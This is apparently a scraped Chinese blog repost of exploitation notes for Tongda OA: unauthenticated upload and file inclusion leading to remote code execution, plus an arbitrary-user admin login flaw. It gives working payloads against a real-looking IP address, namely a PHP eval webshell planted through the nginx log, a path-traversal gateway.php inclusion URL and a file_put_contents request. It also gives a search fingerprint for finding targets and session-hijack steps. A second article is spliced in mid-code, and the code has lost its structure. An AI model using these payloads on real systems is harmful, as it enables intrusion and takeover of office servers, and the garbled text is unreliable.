漏洞复现-通达OA

Posted amingMM

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞复现-通达OA相关的知识,希望对你有一定的参考价值。

通达OA

通达OA 网络智能办公系统 是由北京通达信科科技有限公司开发的一款办公系统
采用基于WEB的企业计算,
主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠。
数据存取集中控制,避免了数据泄漏的可能。
提供数据备份工具,保护系统数据安全。
多级的权限控制,完善的密码验证与登录验证机制更加强了系统安全性。

自主研发的协同办公自动化软件,
是与中国企业管理实践相结合形成的综合管理办公平台
2015年,通达云OA入驻阿里云企业应用专区,为众多中小企业提供稳定、可靠的云计算支撑

通达OA可供用户免费下载使用,安装简单,默认安装了nginxmysql等服务,
系统默认由System权限启动

360安全大脑-Quake网络空间测绘系统通过对全网资产测绘

1:未授权文件上传 + 文件包含姿势

2:Nginx日志 + 文件包含

http://www.360doc.com/content/20/0405/19/64353657_904057447.shtml
58.56.254.122:8081/<?php@eval($_POST['aming']);?>

http://58.56.254.122:8081/ispirit/interface/gateway.php?json=&url=…/…/ispirit/…/…/nginx/logs/oa.access.log

http://cn-sec.com/archives/498043.html
http://58.56.254.122:8081/ispirit/interface/gateway.php?json=&aa=<?php file_put_contents('1.php','hello world');?>

通达OA2017,V11.X<V11.5
通达oa远程命令执行:影响的版本有:V11版,2017版,2016版,2015版,2013增强版,2013版。

app=“通达OA” body=" static/images/tongda.ico"


http://www.dennis.org.cn/

https://blog.csdn.net/szgyunyun/article/details/107104288

https://blog.csdn.net/blue_fantasy/article/details/122403451

https://blog.csdn.net/weixin_44831109/article/details/123841373

https://blog.csdn.net/qq_29443517/article/details/106275093

CNVD:CNVD-2020-26562

未授权的情况下可上传图片木马文件
精心构造的请求进行文件包含,实现远程命令执行,且攻击者无须登陆认证即可完成攻击

影响范围
通达OA V11版 <= 11.3 20200103
通达OA 2017版 <= 10.19 20190522
通达OA 2016版 <= 9.13 20170710
通达OA 2015版 <= 8.15 20160722
通达OA 2013增强版 <= 7.25 20141211
通达OA 2013版 <= 6.20 20141017

V11版 2017版 2016版 2015版 2013增强版2013版
未授权上传文件
\\ispirit\\im\\upload.php

<?php

set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') 
 ob_start();
 include_once 'inc/session.php';
 session_id($P);
 session_start();
 session_write_close();
 else 
 include_once './auth.php';

include_once 'inc/utility_file.php';
include_once 'inc/utility_msg.php';
include_once 'mobile/inc/funcs.php';
ob_end_clean();
$TYPE = $_POST['TYPE'];
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' && !td_verify_ids($ids)) 
 $dataBack = array('status' => 0, 'content' => '-ERR ' . 
 _('接收
 方ID无效'));
 echo json_encode(data2utf8($dataBack));
 exit;

if (strpos($DEST_UID, ',') !== false) 
 else 
 $DEST_UID = intval($DEST_UID);

if ($DEST_UID == 0) 
 if ($UPLOAD_MODE != 2) 
 $dataBack = array('status' => 0, 'content' => '-ERR ' . 
 _('接收方ID无效'));
 echo json_encode(data2utf8($dataBack));
 exit;
 

$MODULE = 'im';
if (1 <= count($_FILES)) 
 if ($UPLOAD_MODE == '1') 
 if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != 
 strlen($_FILES['ATTACHMENT']['name'])) 
 $_FILES['ATTACHMENT']['name'] = 
 urldecode($_FILES['ATTACHMENT']['name']);
 
 
 $ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
 if (!is_array($ATTACHMENTS)) 
 $dataBack = array('status' => 0, 'content' => '-ERR ' . 
 $ATTACHMENTS);
 echo json_encode(data2utf8($dataBack));
 exit;
 
 ob_end_clean();
 $ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);
 $ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);
 if ($TYPE == 'mobile') 
 $ATTACHMENT_NAME = 
 td_iconv(urldecode($ATTACHMENT_NAME), 
 'utf-8', MYOA_CHARSET);
 
 else 
 $dataBack = array('status' => 0, 'content' => '-ERR ' . 
 _('无文
 件上传'));
 echo json_encode(data2utf8($dataBack));
 exit;

$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, 
$MODULE);
if (!$FILE_SIZE) 
 $dataBack = array('status' => 0, 'content' => '-ERR ' . 
 _('文件
 上传失败'));
 echo json_encode(data2utf8($dataBack));
 exit;

if ($UPLOAD_MODE == '1') 
 if (is_thumbable($ATTACHMENT_NAME)) 
 $FILE_PATH = attach_real_path($ATTACHMENT_ID, 
 $ATTACHMENT_NAME, $MODULE);
 $THUMB_FILE_PATH = substr($FILE_PATH, 0, 
 strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 
 'thumb_' 
 . $ATTACHMENT_NAME;
 CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
 
 $P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;
 $MSG_CATE = $_POST['MSG_CATE'];
 if ($MSG_CATE == 'file') 
 $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . 
 $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
  else 
 if ($MSG_CATE == 'image') 
 $CONTENT = '[im]' . $ATTACHMENT_ID . '|' . 
 $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
  else 
 $DURATION = intval($DURATION);
 $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . 
 $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
 
 
 $AID = 0;
 $POS = strpos($ATTACHMENT_ID, '@');
 if ($POS !== false) 
 $AID = intval(substr($ATTACHMENT_ID, 0, $POS));
 
 $query = 'INSERT INTO im_offline_file 
 (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values 
 (\\'' . date('Y-m-d H:i:s') . '\\',\\'' . 
 $_SESSION['LOGIN_UID'] 
 . '\\',\\'' . $DEST_UID . '\\',\\'*' . $ATTACHMENT_ID . '.' . 
 $ATTACHMENT_NAME . '\\',\\'' . $FILE_SIZE . '\\',\\'0\\',\\'' . 
 $AID 
 . '\\')';
 $cursor = exequery(TD::conn(), $query);
 $FILE_ID = mysql_insert_id();
 if ($cursor === false) 
 $dataBack = array('status' => 0, 'content' => '-ERR ' . 
 _('数据库操作失败'));
 echo json_encode(data2utf8($dataBack));
 exit;
 
 $dataBack = array('status' => 1, 'content' => $CONTENT, 
 'file_id' => $FILE_ID);
 echo json_encode(data2utf8($dataBack));
 exit;
 else 
 if ($UPLOAD_MODE == '2') 
 $DURATION = intval($_POST['DURATION']);
 $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . 
 $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
 $query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, 
 ADDTIME) 
 VALUES (\\'' . $_SESSION['LOGIN_UID'] . '\\', \\'' . 
 $CONTENT 
 . '\\', \\'' . time() . '\\')';
 $cursor = exequery(TD::conn(), $query);
 echo '+OK ' . $CONTENT;
  else 
 if ($UPLOAD_MODE == '3') 
 if (is_thumbable($ATTACHMENT_NAME)) 
 $FILE_PATH = attach_real_path($ATTACHMENT_ID, 
 $ATTACHMENT_NAME, $MODULE);
 $THUMB_FILE_PATH = substr($FILE_PATH, 0, 
 strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) 
 . 'thumb_' . $ATTACHMENT_NAME;
 CreateThumb($FILE_PATH, 320, 240, 
 $THUMB_FILE_PATH);
 
 echo '+OK ' . $ATTACHMENT_ID;
  else 
 $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . 
 $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
 $msg_id = send_msg($_SESSION['LOGIN_UID'], 
 $DEST_UID, 
 1, $CONTENT, '', 2);
 $query = 'insert into IM_OFFLINE_FILE 
 (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) 
 values (\\'' . date('Y-m-d H:i:s') . '\\',\\'' . 
 $_SESSION['LOGIN_UID'] . '\\',\\'' . $DEST_UID . 
 '\\',\\'*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME 
 . '\\',\\'' . $FILE_SIZE . '\\',\\'0\\')';
 $cursor = exequery(TD::conn(), $query);
 $FILE_ID = mysql_insert_id();
 if ($cursor === false) 
 echo '-ERR ' . _('数据库操作失败');
 exit;
 
 if ($FILE_ID == 0) 
 echo '-ERR ' . _('数据库操作失败2');
 exit;
 
 echo '+OK ,' . $FILE_ID . ',' . $msg_id;
 exit;
 
 


源码采用了zend加密,解密后才能正常阅读代码

第一个if(第5行)对P进行了判断,只要传递了参数P或者不为空,就可以进入下面的语句,
如果判断失败,就进入else,也就是身份认证功能

 function upload($PREFIX = 'ATTACHMENT', $MODULE = '', $OUTPUT = 
true)

 if (strstr($MODULE, '/') || strstr($MODULE, '\\\\')) 
 if (!$OUTPUT) 
 return _('参数含有非法字符。');
 
 Message(_('错误'), _('参数含有非法字符。'));
 exit;
 
 $ATTACHMENTS = array('ID' => '', 'NAME' => '');
 reset($_FILES);
 foreach ($_FILES as $KEY => $ATTACHMENT) 
 if ($ATTACHMENT['error'] == 4 || $KEY != $PREFIX && 
 substr($KEY, 0, strlen($PREFIX) + 1) != $PREFIX . '_') 
 
 continue;
 
 $data_charset = isset($_GET['data_charset']) ?
 $_GET['data_charset'] : (isset($_POST['data_charset'])?
 $_POST['data_charset'] : '');
 $ATTACH_NAME = $data_charset != ''? 
 td_iconv($ATTACHMENT['name'], $data_charset, 
 MYOA_CHARSET) : $ATTACHMENT['name'];
 $ATTACH_SIZE = $ATTACHMENT['size'];
 $ATTACH_ERROR = $ATTACHMENT['error'];
 $ATTACH_FILE = $ATTACHMENT['tmp_name'];
 $ERROR_DESC = '';
 if ($ATTACH_ERROR == UPLOAD_ERR_OK) 
 if (!is_uploadable($ATTACH_NAME)) 
 $ERROR_DESC = sprintf(_('禁止上传后缀名为[%s]的文
 件'), substr($ATTACH_NAME, 
 strrpos($ATTACH_NAME, '.') + 1));
 
 $encode = mb_detect_encoding($ATTACH_NAME, 
 array('ASCII', 'UTF-8', 'GB2312', 'GBK', 'BIG5'));
 if ($encode != 'UTF-8') 
 $ATTACH_NAME_UTF8 = 
 mb_convert_encoding($ATTACH_NAME, 'utf-8', 
 MYOA_CHARSET);
  else 
 $ATTACH_NAME_UTF8 = $ATTACH_NAME;
 
 if (preg_match('/[\\\\\\':<>?]|\\\\/|\\\\\\\\|"|\\\\|/u', 
 $ATTACH_NAME_UTF8)) 
 $ERROR_DESC = sprintf(_('文件名[%s]包含
 [/\\\\\\'":*?<>|]等非法字符'), $ATTACH_NAME);
 
 if ($ATTACH_SIZE == 0) 
 $ERROR_DESC = sprintf(_('文件[%s]大小为0字节'), 
 $ATTACH_NAME);
 
 if ($ERROR_DESC == '') 
 $ATTACH_NAME = str_replace('\\'', '', 
 $ATTACH_NAME);
 $ATTACH_ID = add_attach($ATTACH_FILE, 
 $ATTACH_NAME, $MODULE);
 if ($ATTACH_ID === false) 
 $ERROR_DESC = sprintf(_('文件[%s]上传失败'), 
 $ATTACH_NAME);
  else 
 $ATTACHMENTS['ID'] .= $ATTACH_ID . ',';
 $ATTACHMENTS['NAME'] .= $ATTACH_NAME . '*';
 
 
 @unlink($ATTACH_FILE);
  else 
 if ($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE) 
 $ERROR_DESC = sprintf(_('文件[%s]的大小超过了系统
 限制
(%s)'), $ATTACH_NAME, ini_get('upload_max_filesize'));
  else 
 if ($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE) 
 $ERROR_DESC = sprintf(_('文件[%s]的大小超过
 了表
单限制'), $ATTACH_NAME);
  else 
 if ($ATTACH_ERROR == UPLOAD_ERR_PARTIAL) 
 $ERROR_DESC = sprintf(_('文件[%s]上传不
 完整'), $ATTACH_NAME);
  else 
 if ($ATTACH_ERROR == 
 UPLOAD_ERR_NO_TMP_DIR) 
 $ERROR_DESC = sprintf(_('文件[%s]上
 传失败:找不到临时文件夹'), 
 $ATTACH_NAME);
  else 
 if ($ATTACH_ERROR == U
 PLOAD_ERR_CANT_WRITE) 
 $ERROR_DESC = sprintf(_('文件
 [%s]写入失败'), $ATTACH_NAME);
  else 
 $ERROR_DESC = sprintf0x00 漏洞简介

通达OA国内常用的办公系统,使用群体,大小公司都可以,其此次安全更新修复的高危漏洞为任意用户登录漏洞。攻击者在远程且未经授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系统(包括系统管理员)。

0x01 影响版本

通达OA 2017版

通达OA V11.X<V11.5

0x02 环境搭建

下载安装包后一键安装即可

链接:https://pan.baidu.com/s/1eel1BxEc0XE4PqlA7y7-Tw

提取码:ilj1

装好之后,出现这个界面

技术图片

0x03 漏洞复现

使用POC获取PHP SESSIONID

技术图片

成功获取SESSIONID 有需要poc的小伙伴下边有联系方式呦meme


ip/general/index.php并抓包替换SESSIONID

 

或者直接分f12 修改SESSIONID 为poc获取到的ID,然后ip后边加路径/general/index.php直接是管理员登录

技术图片

 

 

 

 

修改箭头位置处

成功登录到管理员账户。

0x04 修复意见

升级通达 OA 到最新版(当前最新版为11.5.200417),下载地址:https://www.tongda2000.com/download/sp2019.php

 

 

企鹅群:1045867209

欢迎各位表哥

博主公众号

技术图片

 

 

 

 

 

 

以上是关于漏洞复现-通达OA的主要内容,如果未能解决你的问题,请参考以下文章

通达OA前台任意用户登录漏洞复现

通达OA任意用户登录 漏洞复现

漏洞复现-通达OA

通达OA前台任意用户登录漏洞

通达OA 任意文件上传+文件包含导致RCE漏洞复现

通达OA-Fake-User漏洞详细复现